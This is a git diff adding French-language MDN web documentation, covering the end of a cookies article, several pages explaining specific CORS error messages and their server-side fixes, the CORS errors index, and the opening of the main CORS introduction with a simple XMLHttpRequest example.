après leur suppression et intentionnellement difficiles à supprimer définitivement. Ils utilisent l'<a href="/en-US/docs/Web/API/Web_Storage_API" title="DOM Storage">API Web storage</a>, les Flash Local Shared Objects et d'autres techniques pour se recréer d'eux mêmes dès que l'absence du cookie est détéctée.</p> + +<ul> + <li><a href="https://github.com/samyk/evercookie">Evercookie by Samy Kamkar</a></li> + <li><a href="https://en.wikipedia.org/wiki/Zombie_cookie">Zombie cookies sur Wikipedia</a></li> +</ul> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPHeader("Set-Cookie")}}</li> + <li>{{HTTPHeader("Cookie")}}</li> + <li>{{domxref("Document.cookie")}}</li> + <li>{{domxref("Navigator.cookieEnabled")}}</li> + <li><a href="/en-US/docs/Tools/Storage_Inspector">Inspecting cookies using the Storage Inspector</a></li> + <li><a class="external" href="https://tools.ietf.org/html/rfc6265">Cookie specification: RFC 6265</a></li> + <li><a class="external" href="https://www.nczonline.net/blog/2009/05/05/http-cookies-explained/">Nicholas Zakas article on cookies</a></li> + <li><a class="external" href="https://www.nczonline.net/blog/2009/05/12/cookies-and-security/">Nicholas Zakas article on cookies and security</a></li> + <li><a href="https://en.wikipedia.org/wiki/HTTP_cookie">HTTP cookie on Wikipedia</a></li> +</ul> diff --git a/files/fr/web/http/cors/errors/corsalloworiginmanquant/index.html b/files/fr/web/http/cors/errors/corsalloworiginmanquant/index.html new file mode 100644 index 0000000000..d18a0d1565 --- /dev/null +++ b/files/fr/web/http/cors/errors/corsalloworiginmanquant/index.html @@ -0,0 +1,48 @@ +--- +title: 'Raison : l’en-tête CORS « Access-Control-Allow-Origin » est manquant.' +slug: Web/HTTP/CORS/Errors/CORSAllowOriginManquant +translation_of: Web/HTTP/CORS/Errors/CORSMissingAllowOrigin +--- +<div>{{HTTPSidebar}}</div> + +<h2 id="Symptomes">Symptomes</h2> + +<pre class="syntaxbox notranslate"> <span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body">Raison : l’en-tête CORS « Access-Control-Allow-Origin » est manquant.</span></span></span> </pre> + +<h2 id="Quel_est_le_problème">Quel est le problème ?</h2> + +<p>La réponse à la requête {{Glossary("CORS")}} ne contient pas l'en-tête requis {{HTTPHeader("Access-Control-Allow-Origin")}}, dont la fonction est de déterminer si le domaine à l'origine de la requête est autorisé à accéder à cette ressource.</p> + +<p>Si vous avez le contrôle du serveur, vous pouvez ajouter l'origine de la requête à la liste des domaines autorisés à accéder aux ressources du serveur en l'ajoutant aux valeurs de l'en-tête <code>Access-Control-Allow-Origin</code>.</p> + +<p>Par exemple, pour autoriser le site https://amazing.site à accéder aux resources avec CORS, le header doit être comme suit :</p> + +<pre class="notranslate">Access-Control-Allow-Origin: https://amazing.site</pre> + +<p>Vous pouvez aussi configurer le serveur pour autoriser tous les domaines à accéder aux ressources avec le caractère générique <code>*</code>. Ceci ne devrait être utilisé que pour des APIs publiques. Les APIs privées ne devraient jamais utiliser <code>*</code>, et devraient à la place utiliser un domaine ou un ensemble de domaines. De plus, l'astérisque ne fonctionne que pour les requêtes avec l'attribut {{htmlattrxref("crossorigin")}} ayant comme valeur <code>anonymous</code>.</p> + +<pre class="notranslate">Access-Control-Allow-Origin: *</pre> + +<div class="warning"> +<p><strong>Attention:</strong> Autoriser n'importe quel site à accéder à une API privée est une mauvaise idée.</p> +</div> + +<p>Pour autoriser n'importe quel site à faire des requêtes CORS <em>sans</em> utiliser le caractère générique <code>*</code> (par exemple, pour fournir des authentifiants), votre serveur doit lire la valeur de l'entête <code>Origin</code> de la requête et l'utiliser dans <code>Access-Control-Allow-Origin</code>, tout en ajoutant une entête <code>Vary: Origin</code> pour indiquer que certaines entêtes sont définies dynamiquement selon leur origine.</p> + +<p>L'instruction exacte pour définir les entêtes dépend de votre serveur Web. Par exemple, avec Apache, ajouter (dans la section <code><Directory></code>, <code><Location></code>, <code><Files></code>, ou <code><VirtualHost></code> appropriée) la ligne ci-dessous au fichier de configuration. Le fichier de configuration est en général un <code>.conf</code> (<code>httpd.conf</code> et <code>apache.conf</code> sont les noms les plus communs) ou un fichier nommé <code>.htaccess</code>.</p> + +<pre class="notranslate">Header set Access-Control-Allow-Origin '<em>origin-list</em>'</pre> + +<p>Avec Nginx, la commande pour créer l'en-tête est :</p> + +<pre class="notranslate">add_header 'Access-Control-Allow-Origin' '<em>origin-list</em>'</pre> + + + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li><a href="/fr/docs/Web/HTTP/CORS/Errors">Erreurs CORS</a></li> + <li>Glossaire: {{Glossary("CORS")}}</li> + <li><a href="/fr/docs/Web/HTTP/CORS">Introduction au CORS</a></li> +</ul> diff --git a/files/fr/web/http/cors/errors/corsalloworiginnecorrespondpas/index.html b/files/fr/web/http/cors/errors/corsalloworiginnecorrespondpas/index.html new file mode 100644 index 0000000000..fcaedad211 --- /dev/null +++ b/files/fr/web/http/cors/errors/corsalloworiginnecorrespondpas/index.html @@ -0,0 +1,42 @@ +--- +title: >- + Raison : l’en-tête CORS « Access-Control-Allow-Origin » ne correspond pas à « + xyz » +slug: Web/HTTP/CORS/Errors/CORSAllowOriginNeCorrespondPas +tags: + - CORSAllowOriginNeCorrespondPas + - Dépannage + - Erreur + - Raison + - Sécurité +translation_of: Web/HTTP/CORS/Errors/CORSAllowOriginNotMatchingOrigin +--- +<div>{{HTTPSidebar}}</div> + +<h2 id="Symptomes">Symptomes</h2> + +<pre class="syntaxbox notranslate"><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><span class="objectBox objectBox-string">Raison : l’en-tête CORS « Access-Control-Allow-Origin » ne correspond pas à « xyz »</span></span></span></span></pre> + +<h2 id="Quel_est_le_problème">Quel est le problème ?</h2> + +<p>En clair, l'origine de la demande ne correspond à aucune des origines autorisées par l'en-tête {{HTTPHeader("Access-Control-Allow-Origin")}}.</p> + +<p>Cette erreur peut également se produire si la réponse contient plus d'un en-tête <code>Access-Control-Allow-Origin</code>.</p> + +<p>Si vous contrôlez le serveur auquel votre code accède via une requête CORS, assurez-vous qu'il est configuré pour mentionner votre origine dans son entête <code>Access-Control-Allow-Origin</code>, avec un seul entête de ce type dans les réponses. Cet en-tête accepte une liste d'origines délimitée par des virgules, de sorte que l'ajout d'une nouvelle origine n'est pas difficile.</p> + +<p>Par exemple, dans Apache, ajoutez une ligne comme celle qui suit à la configuration du serveur (dans la section appropriée <code><Directory></code>, <code><Location></code>, <code><Files></code>, ou <code><VirtualHost></code>). La configuration se trouve généralement dans un fichier <code>.conf</code> (<code>httpd.conf</code> et <code>apache.conf</code> sont des noms couramment attribués à ces fichiers), ou dans un fichier <code>.htaccess</code>.</p> + +<pre class="notranslate">Header set Access-Control-Allow-Origin '<em>origin-list</em>'</pre> + +<p>Pour Nginx, la commande pour mettre en place cet entête est :</p> + +<pre class="notranslate">add_header 'Access-Control-Allow-Origin' '<em>origin-list</em>'</pre> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li><a href="https://developer.mozilla.org/fr/docs/Web/HTTP/CORS/Errors">Erreurs CORS</a></li> + <li>Glossaire : {{Glossary("CORS")}}</li> + <li><a href="/fr/docs/Web/HTTP/CORS">Introduction au CORS</a></li> +</ul> diff --git a/files/fr/web/http/cors/errors/corsdesactive/index.html b/files/fr/web/http/cors/errors/corsdesactive/index.html new file mode 100644 index 0000000000..d24896db89 --- /dev/null +++ b/files/fr/web/http/cors/errors/corsdesactive/index.html @@ -0,0 +1,30 @@ +--- +title: 'Raison: CORS désactiver' +slug: Web/HTTP/CORS/Errors/CORSDesactive +tags: + - CORS + - Erreurs + - HTTP + - HTTPS +translation_of: Web/HTTP/CORS/Errors/CORSDisabled +--- +<div>{{HTTPSidebar}}</div> + +<h2 id="Raison">Raison</h2> + +<pre class="syntaxbox">Reason: CORS disabled +(Raison : CORS désactivé)</pre> + +<h2 id="Quel_est_le_problème">Quel est le problème ?</h2> + +<p>Une requête HTTP nécessitant le {{Glossary("CORS")}} a été tentée, mais le CORS est désactivé sur le navigateur de l'utilisateur. Lorsque cela se produit, l'utilisateur doit réactiver CORS dans le navigateur.</p> + +<p>Pour Firefox, la préférence qui désactive le CORS est <code>content.cors.disable</code>. Définir cette préférence avec <code>true</code> désactive le CORS. Ainsi, dans ce cas, les demandes CORS échoueront toujours avec cette erreur.</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li><a href="/fr/docs/Web/HTTP/CORS/Errors">Les erreurs CORS</a></li> + <li>Le terme {{Glossary("CORS")}} sur le glossaire</li> + <li><a href="/fr/docs/Web/HTTP/CORS">Introduction au CORS</a></li> +</ul> diff --git a/files/fr/web/http/cors/errors/corsnapasréussi/index.html b/files/fr/web/http/cors/errors/corsnapasréussi/index.html new file mode 100644 index 0000000000..72a1788f81 --- /dev/null +++ b/files/fr/web/http/cors/errors/corsnapasréussi/index.html @@ -0,0 +1,34 @@ +--- +title: 'Raison: la requête CORS a échoué' +slug: Web/HTTP/CORS/Errors/CORSNAPasRéussi +tags: + - CORS + - CORSDidNotSucceed + - Cross-Origin + - Erreur + - HTTP + - HTTPS + - Messages + - Raisons + - Sécurité + - console + - troubleshooting +translation_of: Web/HTTP/CORS/Errors/CORSDidNotSucceed +--- +<div>{{HTTPSidebar}}</div> + +<h2 id="Raison">Raison</h2> + +<pre class="syntaxbox">Raison: la requête CORS a échoué</pre> + +<h2 dir="ltr" id="Qu'est_ce_qui_ne_s'est_pas_bien_passé">Qu'est ce qui ne s'est pas bien passé ?</h2> + +<p>La requête {{Glossary("HTTP")}} qui utilise le CORS a échoué à cause de la connection HTTP qui n'a pas aboutie soit au niveau du réseau, soit du protocole. L'erreur n'est pas directement lié au CORS, mais est une quelconque erreur réseau de base.</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors">Erreurs CORS</a></li> + <li>Grammaire: {{Glossary("CORS")}}</li> + <li><a href="/en-US/docs/Web/HTTP/CORS">Introduction CORS</a></li> +</ul> diff --git a/files/fr/web/http/cors/errors/corsrequestnothttp/index.html b/files/fr/web/http/cors/errors/corsrequestnothttp/index.html new file mode 100644 index 0000000000..62c13d99d3 --- /dev/null +++ b/files/fr/web/http/cors/errors/corsrequestnothttp/index.html @@ -0,0 +1,43 @@ +--- +title: 'Reason: CORS request not HTTP' +slug: Web/HTTP/CORS/Errors/CORSRequestNotHttp +tags: + - CORS + - CORSRequestNotHttp + - Cross-Origin + - Dépannage + - Erreur + - HTTP + - HTTPS + - Messages + - Raisons + - Sécurité + - console +translation_of: Web/HTTP/CORS/Errors/CORSRequestNotHttp +--- +<div>{{HTTPSidebar}}</div> + +<h2 id="Raison">Raison</h2> + +<pre class="syntaxbox notranslate"> <span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><span class="objectBox objectBox-string">Raison : la requête CORS n’utilise pas http.</span></span></span></span></pre> + +<h2 id="Quest_ce_qui_na_pas_fonctionné">Qu'est ce qui n'a pas fonctionné ?</h2> + +<p>Les requêtes {{Glossary("CORS")}} ne peuvent utiliser que les URL HTTPS, mais l'URL spécifiée par la requête est d'un type différent. Cela se produit souvent si l'URL spécifie un fichier local, en utilisant un URL de la forme <code>file:///</code>.</p> + +<p>Pour résoudre ce problème, assurez-vous simplement d'utiliser les URL HTTPS lorsque vous émettez des requêtes impliquant CORS , comme {{domxref("XMLHttpRequest")}}, <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Fetch_API">Fetch</a> APIs, Web Fonts (<code>@font-face</code>), <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL">WebGL textures</a>, et des stylesheets XSL.</p> + +<h3 id="Sécurité_des_fichiers_locaux_dans_Firefox_68">Sécurité des fichiers locaux dans Firefox 68</h3> + +<p>Lorsqu'un utilisateur ouvrait une page en utilisant un URI <code>file:///</code> dans Firefox 67 et antérieur, l'origine de la page était définie comme le répertoire à partir duquel la page était ouverte. Les ressources du même répertoire et de ses sous-répertoires étaient traitées comme ayant la même origine aux fins de la règle de la même origine de la CORS.</p> + +<p>En réponse au <a href="https://www.mozilla.org/en-US/security/advisories/mfsa2019-21/#CVE-2019-11730">CVE-2019-11730</a>, Firefox 68 et les versions ultérieures définissent l'origine d'une page ouverte à l'aide d'un URI <code>file:///</code> comme unique. Par conséquent, les autres ressources du même répertoire ou de ses sous-répertoires ne satisfont plus à la règle de la même origine de la COROS. Ce nouveau comportement est activé par défaut en utilisant la préférence <code>privacy.file_unique_origin</code>.</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors">Erreurs liées à CORS</a></li> + <li>Glossaire: {{Glossary("CORS")}}</li> + <li><a href="/en-US/docs/Web/HTTP/CORS">Introduction à CORS</a></li> + <li><a href="/en-US/docs/Learn/Common_questions/What_is_a_URL">C'est quoi une URL?</a></li> +</ul> diff --git a/files/fr/web/http/cors/errors/index.html b/files/fr/web/http/cors/errors/index.html new file mode 100644 index 0000000000..30bb82d87f --- /dev/null +++ b/files/fr/web/http/cors/errors/index.html @@ -0,0 +1,79 @@ +--- +title: CORS errors +slug: Web/HTTP/CORS/Errors +tags: + - CORS + - Errors + - HTTP + - HTTPS + - Messages + - Same-origin + - Security + - TopicStub + - console + - troubleshooting +translation_of: Web/HTTP/CORS/Errors +--- +<div>{{HTTPSidebar}}</div> + +<p><span class="seoSummary"><a href="/en-US/docs/Web/HTTP/CORS">Cross-Origin Resource Sharing</a> ({{Glossary("CORS")}}) </span>est une norme qui permet à un serveur d'assouplir la <a href="/en-US/docs/Web/Security/Same-origin_policy">politique de même origine</a>.<span class="seoSummary"> </span></p> + +<p>Celle-ci est utilisée pour autoriser explicitement certaines requêtes provenant d'autres sources tout en en rejetant d'autres. Par exemple, si un site offre un service intégrable, il peut être nécessaire d'assouplir certaines restrictions. La configuration d'une telle configuration CORS n'est pas nécessairement facile et peut présenter certains défis. Dans ces pages, nous examinerons quelques messages d'erreur CORS courants et comment les résoudre.</p> + + + +<p>Si la configuration CORS n'est pas correctement effectuée, la console du navigateur affichera une erreur du type <code>"Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at $somesite"</code> (<code>"Requête Cross-Origin bloquée : La politique de même origine interdit la lecture de la ressource distante à $somesite"</code> en français) indiquant que la demande a été bloquée en raison d'une violation des règles de sécurité de CORS. Cependant, ce n'est pas nécessairement une erreur de configuration. Il est possible que la demande soit en fait intentionnellement refusée par l'application web de l'utilisateur et le service externe distant. Toutefois, si le terminal est destiné à être disponible, un certain débogage est nécessaire pour y parvenir.</p> + +<h2 id="Identifier_le_problème">Identifier le problème</h2> + +<p>Pour saisir la cause de l'erreur, il faut préalablement découvrir la requête fautive, ainsi que la configuration erronée. Ces étapes peuvent être utiles au processus:</p> + +<ol> + <li>Rendez-vous sur le site défaillant et ouvrez les <a href="/en-US/docs/Tools">Developer Tools</a>.</li> + <li>Essayez de reproduir la requête qui échoue et vérifiez la <a href="/en-US/docs/Tools/Web_Console">console</a> pour trouver les messages de violation CORS, ce qui tournerait autours de:</li> +</ol> + +<p><img alt="Firefox console showing CORS error" src="https://mdn.mozillademos.org/files/16050/cors-error2.png"></p> + +<p>Le text de l'erreur sera probablement similaire à:</p> + +<pre class="notranslate">Cross<span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body">-Origin Request Blocked: The Same Origin Policy disallows +reading the remote resource at <em>https://some-url-here</em>. (<em>Reason: +additional information here</em>).</span></span></span></pre> + +<div class="note"> +<p><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><strong>Note:</strong> Pour des raisons de sécurité, il <em>est impossible</em> d'analyser les causes de l'erreur CORS via JavaScript. Seule une indication de l'échec de la requête sera fournie. Il faut donc absolument regarder manuellement les messages d'erreur de la console pour débugger.</span></span></span></p> +</div> + +<h2 id="Messages_derreur_CORS">Messages d'erreur CORS</h2> + +<p>Firefox affiche les erreurs dans la console lors d'échec de requête CORS. Ce message contient entre autres un champ "reason" donnant un meilleur contexte quant à la raison de l'échec de la requête. Ces messages sont listés ci-dessous; chacun de ces liens pointent vers un article plus spécifique et contenant des pistes de solution.</p> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSDisabled">Raison: CORS désactivé</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSDidNotSucceed">Raison: la requête CORS a échoué</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSOriginHeaderNotAdded">Raison: l'en-tête CORS ‘Origin’ ne peut pas être ajouté</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSExternalRedirectNotAllowed">Raison: Requête CORS redirection externe non autorisée</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSRequestNotHttp">Raison: Requête CORS non http</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMissingAllowOrigin">Raison: En-tête CORS ‘Access-Control-Allow-Origin’ manquant</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSAllowOriginNotMatchingOrigin">Raison: l'en-tête CORS ‘Access-Control-Allow-Origin’ ne correspond pas à ‘xyz’</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSNotSupportingCredentials">Raison: les informations d'identification ne sont pas prises en charge si l'en-tête CORS ‘Access-Control-Allow-Origin’ est ‘*’</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMethodNotFound">Raison: Méthode introuvable dans l'en-tête CORS 'Access-Control-Allow-Methods’</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMissingAllowCredentials">Raison: ‘true’ attendu dans l'en-tête CORS ‘Access-Control-Allow-Credentials’</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSPreflightDidNotSucceed">Raison: Échec du canal de contrôle en amont CORS</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSInvalidAllowMethod">Raison: jeton ‘xyz’ non valide dans l'en-tête CORS ‘Access-Control-Allow-Methods’</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSInvalidAllowHeader">Raison: jeton ‘xyz’ non valide dans l'en-tête CORS ‘Access-Control-Allow-Headers’</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMissingAllowHeaderFromPreflight">Raison: jeton ‘xyz’ manquant dans l'en-tête CORS ‘Access-Control-Allow-Headers’ du canal de contrôle en amont CORS</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMultipleAllowOriginNotAllowed">Raison: plusieurs en-têtes CORS ‘Access-Control-Allow-Origin’ ne sont pas autorisés</a></li> +</ul> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>Glossaire: {{Glossary("CORS")}}</li> + <li><a href="/en-US/docs/Web/HTTP/CORS">CORS introduction</a></li> + <li><a href="/en-US/docs/Web/HTTP/Server-Side_Access_Control">Paramètres CORS côté serveur</a></li> + <li><a href="/en-US/docs/Web/HTML/CORS_enabled_image">Image compatible CORS</a></li> + <li><a href="/en-US/docs/Web/HTML/CORS_settings_attributes">Attributs des paramètres CORS</a></li> + <li><a href="https://www.test-cors.org">https://www.test-cors.org</a> – une page pour tester les requêtes CORS</li> +</ul> diff --git a/files/fr/web/http/cors/index.html b/files/fr/web/http/cors/index.html new file mode 100644 index 0000000000..5077a9a989 --- /dev/null +++ b/files/fr/web/http/cors/index.html @@ -0,0 +1,561 @@ +--- +title: Cross-origin resource sharing (CORS) +slug: Web/HTTP/CORS +tags: + - AJAX + - CORS + - HTTP + - Same-origin policy + - XMLHttpRequest + - cross-site +translation_of: Web/HTTP/CORS +--- +<div>{{HTTPSidebar}}</div> + +<p>Le « <em>Cross-origin resource sharing</em> » (CORS) ou « partage des ressources entre origines multiples » (en français, moins usité) est un mécanisme qui consiste à ajouter des en-têtes HTTP afin de permettre à un agent utilisateur d'accéder à des ressources d'un serveur situé sur une autre origine que le site courant. Un agent utilisateur réalise une requête HTTP <strong>multi-origine (<em>cross-origin</em>)</strong> lorsqu'il demande une ressource provenant d'un domaine, d'un protocole ou d'un port différent de ceux utilisés pour la page courante.</p> + +<p>Prenons un exemple de requête multi-origine : une page HTML est servie depuis <code>http://domaine-a.com</code> contient un élément <code><a href="/fr/docs/Web/HTML/Element/Img#attr-src"><img> src</a></code> ciblant <code>http://domaine-b.com/image.jpg</code>. Aujourd'hui, de nombreuses pages web chargent leurs ressources (feuilles CSS, images, scripts) à partir de domaines séparés (par exemple des CDN (<em>Content Delivery Network</em> en anglais ou « Réseau de diffusion de contenu »).</p> + +<p>Pour des raisons de sécurité, les requêtes HTTP multi-origine émises depuis les scripts sont restreintes. Ainsi, {{domxref("XMLHttpRequest")}} et l'<a href="/en-US/docs/Web/API/Fetch_API">API Fetch</a> respectent la règle <a href="/en-US/docs/Web/Security/Same-origin_policy">d'origine unique</a>. Cela signifie qu'une application web qui utilise ces API peut uniquement émettre des requêtes vers la même origine que celle à partir de laquelle l'application a été chargée, sauf si des en-têtes CORS sont utilisés.</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14295/CORS_principle.png"></p> + +<p>Le CORS permet de prendre en charge des requêtes multi-origines sécurisées et des transferts de données entre des navigateurs et des serveurs web. Les navigateurs récents utilisent le CORS dans une API contenante comme {{domxref("XMLHttpRequest")}} ou <code><a href="/fr/docs/Web/API/Fetch_API">Fetch</a></code> pour aider à réduire les risques de requêtes HTTP multi-origines.</p> + +<h2 id="À_qui_est_destiné_cet_article">À qui est destiné cet article ?</h2> + +<p>Cet article est destiné à toutes et à tous.</p> + +<p>Il pourra notamment servir aux administrateurs web, aux développeurs côté serveur ainsi qu'aux développeurs côté client. Les navigateurs récents permettent de gérer les règles de partage multi-origine côté client grâce à certaines règles et en-têtes mais cela implique également que des serveurs puissent gérer ces requêtes et réponses. Aussi, pour compléter le spectre concerné, nous vous invitons à lire d'autres articles complétant le point de vue « serveur » (par exemple <a href="/fr/docs/Web/HTTP/Server-Side_Access_Control">cet article utilisant des fragments de code PHP</a>).</p> + +<h2 id="Quelles_requêtes_utilisent_le_CORS">Quelles requêtes utilisent le CORS ?</h2> + +<p>Le <a class="external" href="https://fetch.spec.whatwg.org/#http-cors-protocol">standard CORS</a> est utilisé afin de permettre les requêtes multi-origines pour :</p> + +<ul> + <li>L'utilisation des API {{domxref("XMLHttpRequest")}} ou <a href="/fr/docs/Web/API/Fetch_API">Fetch</a></li> + <li>Les polices web (pour récupérer des polices provenant d'autres origines lorsqu'on utilise {{cssxref("@font-face")}} en CSS), <a class="external" href="https://www.w3.org/TR/css-fonts-3/#font-fetching-requirements">afin que les serveurs puissent déployer des polices TrueType uniquement chargées en <em>cross-site</em> et utilisées par les sites web qui l'autorisent</a></li> + <li><a href="/fr/docs/Web/API/WebGL_API/Tutorial/Utiliser_les_textures_avec_WebGL">Les textures WebGL</a></li> + <li>Les <em>frames</em> (images ou vidéo) dessinées sur un canevas avec <code><a href="/fr/docs/Web/API/CanvasRenderingContext2D/drawImage">drawImage</a></code></li> + <li>Les feuilles de style (pour les accès <a href="/fr/docs/Web/CSS/CSSOM_View">CSSOM</a>)</li> + <li>Les scripts (pour les exceptions non silencieuses (<em>unmuted exceptions</em>)).</li> +</ul> + +<p>Cet article propose un aperçu général de <em>Cross-Origin Resource Sharing</em> ainsi qu'un aperçu des en-têtes HTTP nécessaires.</p> + +<h2 id="Aperçu_fonctionnel">Aperçu fonctionnel</h2> + +<p>Le standard CORS fonctionne grâce à l'ajout de nouveaux <a href="/fr/docs/Web/HTTP/Headers">en-têtes HTTP</a> qui permettent aux serveurs de décrire un ensemble d'origines autorisées pour lire l'information depuis un navigateur web. De plus, pour les méthodes de requêtes HTTP qui entraînent des effets de bord sur les données côté serveur (notamment pour les méthodes en dehors de {{HTTPMethod("GET")}} ou pour les méthodes {{HTTPMethod("POST")}} utilisées avec certains <a href="/fr/docs/Web/HTTP/Basics_of_HTTP/MIME_types">types MIME</a>), la spécification indique que les navigateurs doivent effectuer une requête préliminaire (« <em>preflight request</em> ») et demander au serveur les méthodes prises en charges via une requête utilisant la méthode {{HTTPMethod("OPTIONS")}} puis, après approbation du serveur, envoyer la vraie requête. Les serveurs peuvent également indiquer aux clients s'il est nécessaire de fournir des informations d'authentification (que ce soit des <a href="/fr/docs/Web/HTTP/Cookies">cookies</a> ou des données d'authentification HTTP) avec les requêtes.</p> + +<p>Les sections qui suivent évoquent les différents scénarios relatifs au CORS ainsi qu'un aperçu des en-têtes HTTP utilisés.</p> + +<h2 id="Exemples_de_scénarios_pour_le_contrôle_daccès">Exemples de scénarios pour le contrôle d'accès</h2> + +<p>Voyons ici trois scénarios qui illustrent le fonctionnement du CORS. Tous ces exemples utilisent l'objet {{domxref("XMLHttpRequest")}} qui peut être utilisé afin de faire des requêtes entre différents sites (dans les navigateurs qui prennent en charge cette fonctionnalité).</p> + +<p>Les fragments de code JavaScript (ainsi que les instances serveurs qui gèrent ces requêtes) se trouvent sur <a class="external" href="http://arunranga.com/examples/access-control/">http://arunranga.com/examples/access-control/</a> et fonctionnent pour les navigateurs qui prennent en charge {{domxref("XMLHttpRequest")}} dans un contexte multi-site.</p> + +<p>Un aperçu « côté serveur » des fonctionnalités CORS se trouve dans l'article <a class="internal" href="/fr/docs/Web/HTTP/Server-Side_Access_Control">Contrôle d'accès côté serveur</a>.</p> + +<h3 id="Requêtes_simples"><a id="simples" name="simples">Requêtes simples</a></h3> + +<p>Certaines requêtes ne nécessitent pas de <a href="#preflight">requête CORS préliminaire</a>. Dans le reste de cet article, ce sont ce que nous appellerons des requêtes « simples » (bien que la spécification {{SpecName('Fetch')}} (qui définit le CORS) n'utilise pas ce terme). Une requête simple est une requête qui respecte les conditions suivantes :</p> + +<ul> + <li>Les seules méthodes autorisées sont : + <ul> + <li>{{HTTPMethod("GET")}}</li> + <li>{{HTTPMethod("HEAD")}}</li> + <li>{{HTTPMethod("POST")}}</li> + </ul> + </li> + <li>En dehors des en-têtes paramétrés automatiquement par l'agent utilisateur (tels que {{HTTPHeader("Connection")}}, {{HTTPHeader("User-Agent")}} ou <a href="https://fetch.spec.whatwg.org/#forbidden-header-name">tout autre en-tête dont le nom fait partie de la spécification Fetch comme « nom d'en-tête interdit »</a>), les seuls en-têtes qui peuvent être paramétrés manuellement sont, selon <a href="https://fetch.spec.whatwg.org/#cors-safelisted-request-header">la spécification</a> : + <ul> + <li>{{HTTPHeader("Accept")}}</li> + <li>{{HTTPHeader("Accept-Language")}}</li> + <li>{{HTTPHeader("Content-Language")}}</li> + <li>{{HTTPHeader("Content-Type")}} (cf. les contraintes supplémentaires ci-après)</li> + <li>{{HTTPHeader("Last-Event-ID")}}</li> + <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#dpr">DPR</a></code></li> + <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#save-data">Save-Data</a></code></li> + <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#viewport-width">Viewport-Width</a></code></li> + <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#width">Width</a></code></li> + </ul> + </li> + <li>Les seules valeurs autorisées pour l'en-tête {{HTTPHeader("Content-Type")}} sont : + <ul> + <li><code>application/x-www-form-urlencoded</code></li> + <li><code>multipart/form-data</code></li> + <li><code>text/plain</code></li> + </ul> + </li> + <li>Aucun gestionnaire d'évènement n'est enregistré sur aucun des objets {{domxref("XMLHttpRequestUpload")}} utilisés pour la requête, on y accède via la propriété {{domxref("XMLHttpRequest.upload")}}.</li> + <li>Aucun objet {{domxref("ReadableStream")}} n'est utilisé dans la requête.</li> +</ul> + +<div class="note"><strong>Note :</strong> Cela correspond aux classes de requêtes généralement produites par du contenu web. Aucune donnée de réponse n'est envoyée au client qui a lancé la requête sauf si le serveur envoie un en-tête approprié. Aussi, les sites qui empêchent les requêtes étrangères falsifiées ne craignent rien de nouveau.</div> + +<div class="note"><strong>Note :</strong> WebKit Nightly et Safari Technology Preview ajoutent des restrictions supplémentaires pour les valeurs autorisées des en-têtes {{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Language")}} et {{HTTPHeader("Content-Language")}}. Si l'un de ces en-têtes a une valeur non-standard, WebKit/Safari considère que la requête ne correspond pas à une requête simple. Les valeurs considérées comme non-standard par WebKit/Safari ne sont pas documentées en dehors de ces bugs WebKit : <em><a href="https://bugs.webkit.org/show_bug.cgi?id=165178" rel="nofollow noreferrer">Require preflight for non-standard CORS-safelisted request headers Accept, Accept-Language, and Content-Language</a></em>, <em><a href="https://bugs.webkit.org/show_bug.cgi?id=165566" rel="nofollow noreferrer">Allow commas in Accept, Accept-Language, and Content-Language request headers for simple CORS</a></em> et <em><a href="https://bugs.webkit.org/show_bug.cgi?id=166363" rel="nofollow noreferrer">Switch to a blacklist model for restricted Accept headers in simple CORS requests</a></em>. Aucun autre navigateur n'implémente ces restrictions supplémentaires, car elles ne font pas partie de la spécification.</div> + +<p>Si, par exemple, on a un contenu web situé sous le domaine <code class="plain">http://toto.example</code> qui souhaite invoquer du contenu situé sous le domaine <code class="plain">http://truc.autre</code>, on pourrait utiliser du code JavaScript semblable à ce qui suit sur <code>toto.example</code> :</p> + +<pre class="brush: js" id="line1">var invocation = new XMLHttpRequest(); +var url = 'http://truc.autre/resources/public-data/'; + +function callOtherDomain() { + if(invocation) { + invocation.open('GET', url, true); + invocation.onreadystatechange = handler; + invocation.send(); + } +} +</pre> + +<p>Cela entraînera un échange simple entre le client et le serveur laissant aux en-têtes CORS le soin de gérer les privilèges d'accès 